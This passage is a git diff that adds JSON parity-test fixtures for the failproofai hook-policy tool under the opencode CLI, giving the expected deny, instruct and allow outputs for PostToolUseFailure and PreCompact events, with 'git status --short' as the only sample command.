mode 100644 index 00000000..8a55ba0e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..79ca95cb --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..928755b5 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a51186aa --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d4b6cf1a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..33d4280c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..23a064c4 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..4c45c664 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e953e013 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..74a50124 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..a8c3ca0a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3707df87 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b38bd28b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6ac6b153 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ee1b9fa8 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..13f6d1c6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4968e1e1 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..26dfca15 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..f70287d1 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f5a14856 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + 